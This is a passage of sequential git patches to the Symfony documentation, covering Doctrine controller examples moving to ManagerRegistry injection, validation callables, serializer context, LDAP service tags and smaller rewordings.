-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\DatabaseActivitySubscriber:
-                tags:
-                    - { name: 'doctrine.event_subscriber' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\EventListener\DatabaseActivitySubscriber;
+.. note::
 
-        $container->autowire(DatabaseActivitySubscriber::class)
-            ->addTag('doctrine.event_subscriber')
-        ;
+    ``Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface``
+    is a marker interface extending ``Doctrine\Common\EventSubscriber`` and was
+    introduced in DoctrineBundle 2.1.
+    Subscribers implementing this interface will be enabled automatically in the
+    Symfony application.
+    In older versions of DoctrineBundle, the service had to be added manually
+    and tagged with the ``doctrine.event_subscriber`` tag.
 
 If you need to associate the subscriber with a specific Doctrine connection, you
 can do it in the service configuration:

From 554fc7951e37819d59193345c231644674b76dbe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 08:58:35 +0200
Subject: [PATCH 2410/7107] Fix method name

---
 security/authenticator_manager.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index e4ed90814b5..7b3d59316b3 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -616,7 +616,7 @@ would initialize the passport like this::
                 return $passport;
             }
 
-            public function createAuthenticatedToken(Passport $passport, string $firewallName): TokenInterface
+            public function createToken(Passport $passport, string $firewallName): TokenInterface
             {
                 // read the attribute value
                 return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From 6cc9f3843ceee47f8b7dd736dfaad528d04f7db8 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Sat, 7 Aug 2021 21:34:26 +0200
Subject: [PATCH 2411/7107] Describe validation callables

---
 components/console/helpers/questionhelper.rst | 16 +++++++++++++
 components/options_resolver.rst               | 15 ++++++++++++
 validation.rst                                | 24 +++++++++++++++++++
 3 files changed, 55 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 96ed044d0bc..929d7709dac 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -397,6 +397,22 @@ If you reach this max number it will use the default value. Using ``null`` means
 the amount of attempts is infinite. The user will be asked as long as they provide an
 invalid answer and will only be able to proceed if their input is valid.
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to
+    validate the input by using the :method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    method::
+
+        use Symfony\Component\Validator\Constraints\Regex;
+        use Symfony\Component\Validator\Validation;
+
+        $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
+        $validation = Validation::createCallable(new Regex([
+            'pattern' => '/^[a-zA-Z]+Bundle$',
+            'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
+        ]));
+        $question->setValidator($validation);
+
 Validating a Hidden Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5b32a612a51..bb178942050 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -376,6 +376,21 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
         // return true or false
     });
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to validate the
+    input by using the :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+    method::
+
+        use Symfony\Component\OptionsResolver\OptionsResolver;
+        use Symfony\Component\Validator\Constraints\Length;
+        use Symfony\Component\Validator\Validation;
+
+        // ...
+        $resolver->setAllowedValues('transport', Validation::createValidCallable(
+            new Length(['min' => 10 ])
+        ));
+
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues`
 to add additional allowed values without erasing the ones already set.
 
diff --git a/validation.rst b/validation.rst
index 0f349f5a38e..d258775268e 100644
--- a/validation.rst
+++ b/validation.rst
@@ -230,6 +230,30 @@ Inside the template, you can output the list of errors exactly as needed:
     Each validation error (called a "constraint violation"), is represented by
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
+.. index::
+   single: Validation; Callables
+
+Validation Callables
+~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    ``Validation::createCallable()`` was introduced in Symfony 5.1.
+
+.. versionadded:: 5.3
+
+    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
+
+The ``Validation`` also allows you to create a closure to validate values
+against a set of constraints (e.g. in :doc:`Console </components/console/helpers/questionhelper>`
+or :doc:`OptionsResolver </components/options_resolver>`):
+
+:method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    This returns a closure that throws ``ValidationFailedException`` when the
+    constraints aren't matched.
+:method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+    This returns a closure that returns ``false`` when the constraints aren't matched.
+
 .. index::
    single: Validation; Constraints
 

From 901535cad8fa668727b12097790b229902ba4f1c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 14:52:19 +0200
Subject: [PATCH 2412/7107] Deprecate the get() and has() shortcuts of
 AbstractController

---
 best_practices.rst | 2 +-
 forms.rst          | 5 +++--
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 4928c79a6f9..d6eb4786efe 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -244,7 +244,7 @@ Use Dependency Injection to Get Services
 
 If you extend the base ``AbstractController``, you can only access to the most
 common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the
-container via ``$this->container->get()`` or ``$this->get()``.
+container via ``$this->container->get()``.
 Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
diff --git a/forms.rst b/forms.rst
index 3814caa0646..08499f0239d 100644
--- a/forms.rst
+++ b/forms.rst
@@ -857,14 +857,15 @@ method::
 
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Form\FormFactoryInterface;
     // ...
 
     class TaskController extends AbstractController
     {
-        public function new(): Response
+        public function new(FormFactoryInterface $formFactory): Response
         {
             $task = ...;
-            $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task);
+            $form = $formFactory->createNamed('my_name', TaskType::class, $task);
 
             // ...
         }

From e7ce930feb34133438cba73757314ff455badf80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 15:30:45 +0200
Subject: [PATCH 2413/7107] Reword

---
 doctrine/events.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 25c04f69bd5..b2a76b6ac56 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -406,18 +406,13 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
-.. note::
-
-    ``Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface``
-    is a marker interface extending ``Doctrine\Common\EventSubscriber`` and was
-    introduced in DoctrineBundle 2.1.
-    Subscribers implementing this interface will be enabled automatically in the
-    Symfony application.
-    In older versions of DoctrineBundle, the service had to be added manually
-    and tagged with the ``doctrine.event_subscriber`` tag.
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
+work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
+subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
 
 If you need to associate the subscriber with a specific Doctrine connection, you
-can do it in the service configuration:
+must do that in the manual service configuration:
 
 .. configuration-block::
 

From 4405199a27619b9355db93f7041aee3f3520ee3d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 16:56:00 +0200
Subject: [PATCH 2414/7107] Added some references

---
 components/console/helpers/questionhelper.rst |  2 ++
 components/options_resolver.rst               |  2 ++
 validation.rst                                | 21 ++++++++++---------
 3 files changed, 15 insertions(+), 10 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 929d7709dac..9d571e524c3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -353,6 +353,8 @@ method::
     of the validator. If the answer is invalid, don't throw exceptions in the
     normalizer and let the validator handle those errors.
 
+.. _console-validate-question-answer:
+
 Validating the Answer
 ---------------------
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index bb178942050..dac384c7f62 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -335,6 +335,8 @@ is thrown::
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedTypes`
 to add additional allowed types without erasing the ones already set.
 
+.. _optionsresolver-validate-value:
+
 Value Validation
 ~~~~~~~~~~~~~~~~
 
diff --git a/validation.rst b/validation.rst
index d258775268e..d4dd7b9279a 100644
--- a/validation.rst
+++ b/validation.rst
@@ -236,17 +236,10 @@ Inside the template, you can output the list of errors exactly as needed:
 Validation Callables
 ~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    ``Validation::createCallable()`` was introduced in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
-
 The ``Validation`` also allows you to create a closure to validate values
-against a set of constraints (e.g. in :doc:`Console </components/console/helpers/questionhelper>`
-or :doc:`OptionsResolver </components/options_resolver>`):
+against a set of constraints (useful for example when
+:ref:`validating Console command answers <console-validate-question-answer>` or
+when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
 :method:`Symfony\\Component\\Validator\\Validation::createCallable`
     This returns a closure that throws ``ValidationFailedException`` when the
@@ -254,6 +247,14 @@ or :doc:`OptionsResolver </components/options_resolver>`):
 :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
     This returns a closure that returns ``false`` when the constraints aren't matched.
 
+.. versionadded:: 5.1
+
+    ``Validation::createCallable()`` was introduced in Symfony 5.1.
+
+.. versionadded:: 5.3
+
+    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
+
 .. index::
    single: Validation; Constraints
 

From 976aa17740ad26fd137608f79e9dcc2054ab957d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 16:57:30 +0200
Subject: [PATCH 2415/7107] Removed versionadded directives

---
 validation.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/validation.rst b/validation.rst
index 2d2915a6748..43cfd13ec04 100644
--- a/validation.rst
+++ b/validation.rst
@@ -247,14 +247,6 @@ when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
     This returns a closure that returns ``false`` when the constraints aren't matched.
 
-.. versionadded:: 5.1
-
-    ``Validation::createCallable()`` was introduced in Symfony 5.1.
-
-.. versionadded:: 5.3
-
-    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
-
 .. index::
    single: Validation; Constraints
 

From db9635ec79f2653850f4eb01d506d19723632b78 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 17:45:20 +0200
Subject: [PATCH 2416/7107] Deprecate the Request::get() method

---
 create_framework/front_controller.rst | 6 +++---
 create_framework/http_foundation.rst  | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e14f9f16d07..c4a321538a7 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -38,7 +38,7 @@ Let's see it in action::
     // framework/index.php
     require_once __DIR__.'/init.php';
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
     $response->send();
@@ -98,7 +98,7 @@ Such a script might look like the following::
 And here is for instance the new ``hello.php`` script::
 
     // framework/hello.php
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
     $response->setContent(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 
 In the ``front.php`` script, ``$map`` associates URL paths with their
@@ -190,7 +190,7 @@ And the ``hello.php`` script can now be converted to a template:
 .. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
-    <?php $name = $request->get('name', 'World') ?>
+    <?php $name = $request->attributes->get('name', 'World') ?>
 
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 3c84dd25e57..3bec0dcea63 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -141,7 +141,7 @@ Now, let's rewrite our application by using the ``Request`` and the
 
     $request = Request::createFromGlobals();
 
-    $name = $request->get('name', 'World');
+    $name = $request->attributes->get('name', 'World');
 
     $response = new Response(sprintf('Hello %s', htmlspecialchars($name, ENT_QUOTES, 'UTF-8')));
 

From 9b0fe51e590b923ec30ac48520c94757783d9538 Mon Sep 17 00:00:00 2001
From: Christin Gruber <c.gruber@touchdesign.de>
Date: Thu, 14 Jan 2021 12:50:53 +0100
Subject: [PATCH 2417/7107] Add the docs for the new --exclude option

---
 components/yaml.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 29b8114ff53..c902ee66ddf 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -433,6 +433,12 @@ Then, execute the script for validating contents:
     # or contents passed to STDIN
     $ cat path/to/file.yaml | php lint.php
 
+Use the `--exclude` option to exclude one or more specific files from multiple file list:
+
+.. code-block:: terminal
+
+    $ php lint.php path/to/directory --exclude=path/to/directory/foo.yaml --exclude=path/to/directory/bar.yaml
+
 The result is written to STDOUT and uses a plain text format by default.
 Add the ``--format`` option to get the output in JSON format:
 

From 735a24b72f98858f26abd652c1ab26d2aacac448 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 13:00:14 +0200
Subject: [PATCH 2418/7107] Deprecate getDoctrine() and dispatchMessage()
 shortcuts

---
 doctrine.rst                              | 31 ++++++++----------
 doctrine/associations.rst                 | 28 ++++++----------
 doctrine/multiple_entity_managers.rst     | 40 +++++++++--------------
 forms.rst                                 |  4 ---
 introduction/from_flat_php_to_symfony.rst | 13 +++-----
 messenger.rst                             |  3 --
 reference/configuration/doctrine.rst      | 23 +++++++++----
 7 files changed, 60 insertions(+), 82 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 97d4fa79c86..5ee0a219251 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -367,11 +367,9 @@ and save it::
         /**
          * @Route("/product", name="create_product")
          */
-        public function createProduct(): Response
+        public function createProduct(ManagerRegistry $doctrine): Response
         {
-            // you can fetch the EntityManager via $this->getDoctrine()
-            // or you can add an argument to the action: createProduct(EntityManagerInterface $entityManager)
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
 
             $product = new Product();
             $product->setName('Keyboard');
@@ -406,7 +404,11 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 18** The ``$this->getDoctrine()->getManager()`` method gets Doctrine's
+* **line 14** The ``ManagerRegistry $doctrine`` argument tells Symfony to
+  :ref:`inject the Doctrine service <services-constructor-injection>` into the
+  controller method.
+
+* **line 16** The ``$doctrine->getManager()`` method gets Doctrine's
   *entity manager* object, which is the most important object in Doctrine. It's
   responsible for saving objects to, and fetching objects from, the database.
 
@@ -516,11 +518,9 @@ be able to go to ``/product/1`` to see your new product::
         /**
          * @Route("/product/{id}", name="product_show")
          */
-        public function show(int $id): Response
+        public function show(ManagerRegistry $doctrine, int $id): Response
         {
-            $product = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->find($id);
+            $product = $doctrine->getRepository(Product::class)->find($id);
 
             if (!$product) {
                 throw $this->createNotFoundException(
@@ -571,7 +571,7 @@ job is to help you fetch entities of a certain class.
 
 Once you have a repository object, you have many helper methods::
 
-    $repository = $this->getDoctrine()->getRepository(Product::class);
+    $repository = $doctrine->getRepository(Product::class);
 
     // look for a single Product by its primary key (usually "id")
     $product = $repository->find($id);
@@ -667,9 +667,9 @@ with any PHP model::
         /**
          * @Route("/product/edit/{id}")
          */
-        public function update(int $id): Response
+        public function update(ManagerRegistry $doctrine, int $id): Response
         {
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
             $product = $entityManager->getRepository(Product::class)->find($id);
 
             if (!$product) {
@@ -718,8 +718,7 @@ You've already seen how the repository object allows you to run basic queries
 without any work::
 
     // from inside a controller
-    $repository = $this->getDoctrine()->getRepository(Product::class);
-
+    $repository = $doctrine->getRepository(Product::class);
     $product = $repository->find($id);
 
 But what if you need a more complex query? When you generated your entity with
@@ -786,9 +785,7 @@ Now, you can call this method on the repository::
     // from inside a controller
     $minPrice = 1000;
 
-    $products = $this->getDoctrine()
-        ->getRepository(Product::class)
-        ->findAllGreaterThanPrice($minPrice);
+    $products = $doctrine->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
 
     // ...
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 4a2fafb6467..193ef7da147 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -320,6 +320,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
 
     class ProductController extends AbstractController
@@ -327,7 +328,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
         /**
          * @Route("/product", name="product")
          */
-        public function index(): Response
+        public function index(ManagerRegistry $doctrine): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -340,7 +341,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $this->getDoctrine()->getManager();
+            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -386,12 +387,9 @@ before. First, fetch a ``$product`` object and then access its related
 
     class ProductController extends AbstractController
     {
-        public function show(int $id): Response
+        public function show(ManagerRegistry $doctrine, int $id): Response
         {
-            $product = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->find($id);
-
+            $product = $doctrine->getRepository(Product::class)->find($id);
             // ...
 
             $categoryName = $product->getCategory()->getName();
@@ -422,11 +420,9 @@ direction::
     // ...
     class ProductController extends AbstractController
     {
-        public function showProducts(int $id): Response
+        public function showProducts(ManagerRegistry $doctrine, int $id): Response
         {
-            $category = $this->getDoctrine()
-                ->getRepository(Category::class)
-                ->find($id);
+            $category = $doctrine->getRepository(Category::class)->find($id);
 
             $products = $category->getProducts();
 
@@ -445,9 +441,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
+        $product = $doctrine->getRepository(Product::class)->find($id);
 
         $category = $product->getCategory();
 
@@ -517,11 +511,9 @@ object and its related ``Category`` in one query::
     // ...
     class ProductController extends AbstractController
     {
-        public function show(int $id): Response
+        public function show(ManagerRegistry $doctrine, int $id): Response
         {
-            $product = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->findOneByIdJoinedToCategory($id);
+            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
 
             $category = $product->getCategory();
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 62b1d23d237..e94ef907f57 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -232,20 +232,18 @@ the default entity manager (i.e. ``default``) is returned::
 
     // ...
     use Doctrine\ORM\EntityManagerInterface;
+    use Doctrine\Persistence\ManagerRegistry;
 
     class UserController extends AbstractController
     {
-        public function index(EntityManagerInterface $entityManager): Response
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // These methods also return the default entity manager, but it's preferred
-            // to get it by injecting EntityManagerInterface in the action method
-            $entityManager = $this->getDoctrine()->getManager();
-            $entityManager = $this->getDoctrine()->getManager('default');
-            $entityManager = $this->get('doctrine.orm.default_entity_manager');
+            // Both methods return the default entity manager
+            $entityManager = $doctrine->getManager();
+            $entityManager = $doctrine->getManager('default');
 
-            // Both of these return the "customer" entity manager
-            $customerEntityManager = $this->getDoctrine()->getManager('customer');
-            $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager');
+            // This method returns instead the "customer" entity manager
+            $customerEntityManager = $doctrine->getManager('customer');
 
             // ...
         }
@@ -267,29 +265,21 @@ The same applies to repository calls::
 
     use AcmeStoreBundle\Entity\Customer;
     use AcmeStoreBundle\Entity\Product;
+    use Doctrine\Persistence\ManagerRegistry;
     // ...
 
     class UserController extends AbstractController
     {
-        public function index(): Response
+        public function index(ManagerRegistry $doctrine): Response
         {
-            // Retrieves a repository managed by the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class)
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "default" entity manager
+            $products = $doctrine->getRepository(Product::class)->findAll();
 
-            // Explicit way to deal with the "default" em
-            $products = $this->getDoctrine()
-                ->getRepository(Product::class, 'default')
-                ->findAll()
-            ;
+            // Explicit way to deal with the "default" entity manager
+            $products = $doctrine->getRepository(Product::class, 'default')->findAll();
 
-            // Retrieves a repository managed by the "customer" em
-            $customers = $this->getDoctrine()
-                ->getRepository(Customer::class, 'customer')
-                ->findAll()
-            ;
+            // Retrieves a repository managed by the "customer" entity manager
+            $customers = $doctrine->getRepository(Customer::class, 'customer')->findAll();
 
             // ...
         }
diff --git a/forms.rst b/forms.rst
index 3814caa0646..7438276029e 100644
--- a/forms.rst
+++ b/forms.rst
@@ -397,10 +397,6 @@ written into the form object::
                 $task = $form->getData();
 
                 // ... perform some action, such as saving the task to the database
-                // for example, if Task is a Doctrine entity, save it!
-                // $entityManager = $this->getDoctrine()->getManager();
-                // $entityManager->persist($task);
-                // $entityManager->flush();
 
                 return $this->redirectToRoute('task_success');
             }
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index d6d631d6857..3d7ea851bb7 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -540,24 +540,21 @@ them for you. Here's the same sample application, now built in Symfony::
     namespace App\Controller;
 
     use App\Entity\Post;
+    use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     class BlogController extends AbstractController
     {
-        public function list()
+        public function list(ManagerRegistry $doctrine)
         {
-            $posts = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->findAll();
+            $posts = $doctrine->getRepository(Post::class)->findAll();
 
             return $this->render('blog/list.html.twig', ['posts' => $posts]);
         }
 
-        public function show($id)
+        public function show(ManagerRegistry $doctrine, $id)
         {
-            $post = $this->getDoctrine()
-                ->getRepository(Post::class)
-                ->find($id);
+            $post = $doctrine->getRepository(Post::class)->find($id);
 
             if (!$post) {
                 // cause the 404 page not found to be displayed
diff --git a/messenger.rst b/messenger.rst
index 6a2fca76fb4..ae6f8a455b8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -99,9 +99,6 @@ You're ready! To dispatch the message (and call the handler), inject the
             // will cause the SmsNotificationHandler to be called
             $bus->dispatch(new SmsNotification('Look! I created a message!'));
 
-            // or use the shortcut
-            $this->dispatchMessage(new SmsNotification('Look! I created a message!'));
-
             // ...
         }
     }
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 7cd921abdcc..d7ce406ab76 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -155,13 +155,22 @@ which is the first one defined or the one configured via the
 ``default_connection`` parameter.
 
 Each connection is also accessible via the ``doctrine.dbal.[name]_connection``
-service where ``[name]`` is the name of the connection. In a controller
-extending ``AbstractController``, you can access it directly using the
-``getConnection()`` method and the name of the connection::
-
-    $connection = $this->getDoctrine()->getConnection('customer');
-
-    $result = $connection->fetchAll('SELECT name FROM customer');
+service where ``[name]`` is the name of the connection. In a :doc:`controller </controller>`
+you can access it using the ``getConnection()`` method and the name of the connection::
+
+    // src/Controller/SomeController.php
+    use Doctrine\Persistence\ManagerRegistry;
+
+    class SomeController
+    {
+        public function someMethod(ManagerRegistry $doctrine)
+        {
+            $connection = $doctrine->getConnection('customer');
+            $result = $connection->fetchAll('SELECT name FROM customer');
+
+            // ...
+        }
+    }
 
 Doctrine ORM Configuration
 --------------------------

From bd2af8bc12e272b759b06cbb3327f18c02c05890 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 15:31:05 +0200
Subject: [PATCH 2419/7107] Added the tag in other config formats

---
 security/ldap.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 01f5edae553..7573f901369 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -92,6 +92,7 @@ An LDAP client can be configured using the built-in
             <services>
                 <service id="Symfony\Component\Ldap\Ldap">
                     <argument type="service" id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter"/>
+                    <tag name="ldap"/>
                 </service>
                 <service id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter">
                     <argument type="collection">
@@ -114,7 +115,8 @@ An LDAP client can be configured using the built-in
         use Symfony\Component\Ldap\Ldap;
 
         $container->register(Ldap::class)
-            ->addArgument(new Reference(Adapter::class));
+            ->addArgument(new Reference(Adapter::class))
+            ->tag('ldap');
 
         $container
             ->register(Adapter::class)

From fac03e32775d1d81ce2359fe8df2593ad46e0c06 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 3 Aug 2021 17:57:04 +0200
Subject: [PATCH 2420/7107] [Serializer] Add documentation about context and
 Serializer::EMPTY_ARRAY_AS_OBJECT

---
 serializer.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 8cae58c5838..eec773dfba9 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -148,6 +148,29 @@ properties and setters (``setXxx()``) to change properties:
             ;
         };
 
+Serializer context
+------------------
+
+The serializer can use a (de)serialization context to control how a resource is (de)serialized.
+The context is passed to all normalizers. For example:
+
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses ``datetime_format`` key as date time format;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer` uses ``empty_iterable_as_object`` to preserve empty objects (keeps ``{}`` instead of ``[]`` in JSON);
+
+.. versionadded:: 5.4
+
+    :class:`Symfony\\Component\\Serializer\\Serializer` uses ``empty_arrays_as_object`` to serialize empty array as object (uses ``{}`` instead of ``[]`` in JSON);
+
+You can pass the context like following::
+
+    $serializer->serialize($something, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
+    $serializer->deserialize($someJson, Something::class, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From 889cbd6c07c0418b4f4ecd2af47d9d9e3eecd704 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Aug 2021 16:39:10 +0200
Subject: [PATCH 2421/7107] Minor reword

---
 serializer.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index eec773dfba9..2931a361493 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -148,18 +148,22 @@ properties and setters (``setXxx()``) to change properties:
             ;
         };
 
-Serializer context
+Serializer Context
 ------------------
 
-The serializer can use a (de)serialization context to control how a resource is (de)serialized.
-The context is passed to all normalizers. For example:
+The serializer can define a context to control how the (de)serialization of
+resources. This context is passed to all normalizers. For example:
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer` uses ``empty_iterable_as_object`` to preserve empty objects (keeps ``{}`` instead of ``[]`` in JSON);
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
+  ``datetime_format`` key as date time format;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
+  uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
+  of ``[]`` in JSON.
 
 .. versionadded:: 5.4
 
